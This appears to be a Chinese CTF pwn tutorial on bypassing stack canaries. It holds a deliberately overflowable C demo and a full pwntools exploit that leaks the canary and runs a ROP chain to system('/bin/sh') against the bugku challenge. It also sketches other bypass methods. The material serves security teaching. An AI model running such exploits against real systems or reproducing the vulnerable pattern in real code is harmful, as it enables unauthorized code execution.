pwn 入门到放弃 7- 绕过 Canary 进行栈溢出攻击

0x00 前言

栈溢出攻击比较常见而且比较简单,所以为了保护程序免于栈溢出攻击,就出现了 Canary。

canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。

Canary:用于防止栈溢出被利用的一种方法,原理是在栈的 ebp 下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出了。

本篇研究样本:bugku-Pwn-canary


0x01 Canary 详细原理

在栈底放一个随机数,在函数返回时检查是否被修改。具体实现如下:
x86 :
在函数序言部分插入 canary 值:

mov    eax,gs:0x14
mov    DWORD PTR [ebp-0xc],eax

在函数返回之前,会将该值取出,检查是否修改。这个操作即为检测是否发生栈溢出。

mov    eax,DWORD PTR [ebp-0xc]
xor    eax,DWORD PTR gs:0x14
je     0x80492b2 <vuln+103> # 正常函数返回
call   0x8049380 <__stack_chk_fail_local> # 调用出错处理函数

x86 栈结构大致如下:

        High  
        Address |                 |  
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      ebp =>    +-----------------+
                | ebx             |
    ebp-4 =>    +-----------------+
                | unknown         |
    ebp-8 =>    +-----------------+
                | canary value    |
   ebp-12 =>    +-----------------+
                | 局部变量	       |
        Low     |                 |
        Address

x64 :
函数序言:

mov    rax,QWORD PTR fs:0x28
mov    QWORD PTR [rbp-0x8],rax

函数返回前:

mov    rax,QWORD PTR [rbp-0x8]
xor    rax,QWORD PTR fs:0x28
je     0x401232 <vuln+102> # 正常函数返回
call   0x401040 <__stack_chk_fail@plt> # 调用出错处理函数

x64 栈结构大致如下:

        High
        Address |                 |
                +-----------------+
                | args            |
                +-----------------+
                | return address  |
                +-----------------+
                | old ebp         |
      rbp =>    +-----------------+
                | canary value    |
    rbp-8 =>    +-----------------+
                | 局部变量         |
        Low     |                 |
        Address

0x02 调试 Canary

简单 demo 开始,先认识一下 canary。

#include <stdio.h>
#include <stdlib.h>

void win() 
{
    puts("you win!\n");
    return;
}

int main() 
{
    char buf[10];
    char arr[10];
    puts("input buf:");
    read(0,&buf,100);
    printf("your buf:%s\n",buf);
    puts("input arr:");
    read(0,&arr,100);
    printf("your arr:%s\n",arr);
  
    return 0;
}

因为 Linux 编译时默认保护全开的,所以需要加上参数

gcc -no-pie *.c -o canary

然后再 checksec 一下确认

可以尝试运行然后查看效果

这里很明显的栈溢出段错误,但是由于程序开启了 canary,所以程序调用了栈溢出的保护处理函数,报错由段错误改为了已放弃

先用 IDA 查看一下情况

使用 IDA 可以更直观的看到栈内数据的相对地址关系。

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。

gdb 在看一下,下断点在 0x40124B(使用 IDA 查看在 mov rcx, [rbp+var_8] 的地方)

.text:00000000004011AD     main            proc near               ; DATA XREF: _start+21↑o
.text:00000000004011AD
.text:00000000004011AD     buf             = byte ptr -1Ch
 ......
.text:0000000000401235 028                 lea     rdi, aYourArrS  ; "your arr:%s\n"
.text:000000000040123C 028                 mov     eax, 0
.text:0000000000401241 028                 call    _printf
.text:0000000000401246 028                 mov     eax, 0
.text:000000000040124B 028                 mov     rcx, [rbp+var_8]  //给canary下断点
.text:000000000040124F 028                 xor     rcx, fs:28h
.text:0000000000401258 028                 jz      short locret_40125F
.text:000000000040125A 028                 call    ___stack_chk_fail //canary被更改后的处理函数
.text:000000000040125F     ; ---------------------------------------------------------------------------
.text:000000000040125F
.text:000000000040125F     locret_40125F:                          ; CODE XREF: main+AB↑j
.text:000000000040125F 028                 leave
.text:0000000000401260 000                 retn
.text:0000000000401260     ; } // starts at 4011AD
.text:0000000000401260     main            endp

输入 123 和 456

然后查看栈内情况 stack 50

就看到了 rbp 上面的就是 canary,也的确是 00 结尾的。栈顶的 rsp 则是输入的 123 的小端序,下面就是 45,6 在第三行的最低位。

0x10 实践分析

0x11 程序分析

做题第一步,checksec

看到这里是打开 canary 和 NX 保护的,NX 是栈不可执行,所以这里的大概只能构造 ROP 了

尝试运行,然后 IDA 分析

和 demo 一样的套路,两次输入两次输出。查看 buf 和 v5 的栈空间然后计算各自到 canary 的偏移

buf - canary = 0x240 - 8 = 0x238 = 568

v5 - canary = 0x210 - 8 = 0x208 = 520

泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。

0x12 攻击思路

经过分析可以得到基本的攻击思路

  • 获取 call system 的地址
  • 获取 '/bin/sh' 的地址
  • 获取 popedi 的地址
  • 首先利用第一次的溢出泄露(输出)canary
  • 第二次溢出填充时构造之前泄露的 canary 刚好覆盖到 canary 的位置上,保证 canary 的值不变
  • 覆盖返回地址后构造 ROP 链获取 shell

前面三步略过(看上一篇),直接开始泄露 canary

#canary的相对偏移
canary_offset1 = 0x240 - 8
canary_offset2 = 0x210 - 8

所以第一次直接填充 canary_offset1 个字符 'a' + 回车 '\n',那么回车就刚好填充的 canary 的低字节,因为printf是检测到 '\00' 才结尾的,所以第一次输出的时候就刚好输出 canary

p.sendlineafter(b':',b'a'*canary_offset1) #sendline会自动加上'\n',send则不会
p.recvuntil(b'a'*canary_offset1 + b'\n')  #接收到了刚刚的输入就停下来
canary_addr = u64(b'\x00'+p.recv(7))      #再读7个字符正好,后面多余字符之后再接收

就成功的得到了 canary,然后就 key 构造第二次输入所需要的 payload 了。

payload = b'a'*canary_offset2 + p64(canary_addr) + p64(1)   #刚好覆盖到返回地址
payload += p64(popedi_addr) + p64(binsh_addr) + p64(system_addr) #getshell的ROP链

0x13 完整 exp

from pwn import *
import sys

context.log_level = "debug"
context.terminal = ['gnome-terminal','-x','sh','-c']

#本地
if sys.argv[1] == '0':
    p = process('./pwn4')

#远程
elif sys.argv[1] == '1':
    p = remote("asteri5m.icu","10002")  #个人靶场

#canary的相对偏移
canary_offset1 = 0x240 - 8
canary_offset2 = 0x210 - 8

p.sendlineafter(b':',b'a'*canary_offset1) #sendline会自动加上'\n',send则不会
p.recvuntil(b'a'*canary_offset1 + b'\n')  #接收到了刚刚的输入就停下来
canary_addr = u64(b'\x00'+p.recv(7))      #再读7个字符正好,后面多余字符之后再接收
log.success("canary:\t" + hex(canary_addr))
system_addr = 0x40080c    #这个地址本地、远程都能打通
#system_addr = 0x400660   #这个地址只能打通远端,本地会报错
binsh_addr = 0x601068
popedi_addr = 0x400963

payload = b'a'*canary_offset2 + p64(canary_addr) + p64(1)   #刚好覆盖到返回地址
payload += p64(popedi_addr) + p64(binsh_addr) + p64(system_addr) #getshell的ROP链

p.sendlineafter(b':',payload)

p.interactive()

打通本地效果:

0x20 其他攻击方法

  • one-by-one 爆破 Canary

one by one 爆破思想是利用 fork 函数来不断逐字节泄露。fork 函数作用是通过系统调用创建一个与原来进程几乎完全相同的进程,这里的相同也包括 canary。当程序存在 fork 函数并触发 canary 时,__ stack_chk_fail 函数只能关闭 fork 函数所建立的进程,不会让主进程退出,所以当存在大量调用 fork 函数时,我们可以利用它来一字节一字节的泄露,所以叫做 one by one 爆破。

参考链接:[CTF pwn] Canary one by one 暴破 _ 漫小牛的博客 -CSDN 博客

  • 劫持 __stack_chk_fail 函数

与 ssp leak 原理类似,canary 失败就会进入__stack_chk_fail()函数,该函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持该函数(所以前提需要没有开启 RELRO 保护),让他不完成该功能,那么 canary 就形同虚设了。
注意:这种技术并不是我们一般方式的 hijack GOT 表,一般我们 hijack GOT 表是因为 GOT 表绑定了真实地址,我们覆盖他让程序执行其他函数。GOT 表中要绑定真实地址必须是执行过一次,然而__stack_chk_fail()函数执行第一次的时候就会报错退出,所以我们需要 overwrite 的尚未执行过的__stack_chk_fail()的 GOT 表项,此时 GOT 表中应该存储stack_chk_fail PLT[1]的地址

参考链接:Canary 绕过之 __stack_chk_fail 劫持 - 简书 (jianshu.com)

  • 覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

例题:StarCTF2018 babystack

  • c++ 异常机制绕过 canary

例题:Shanghai-DCTF-2017 线下攻防 Pwn 题

  • 栈地址任意写绕过 canary 检查

利用格式化字符串数组下标越界,实现栈地址任意写,不必连续向栈上写,直接写 ebp 和 ret,这样不会触发 canary check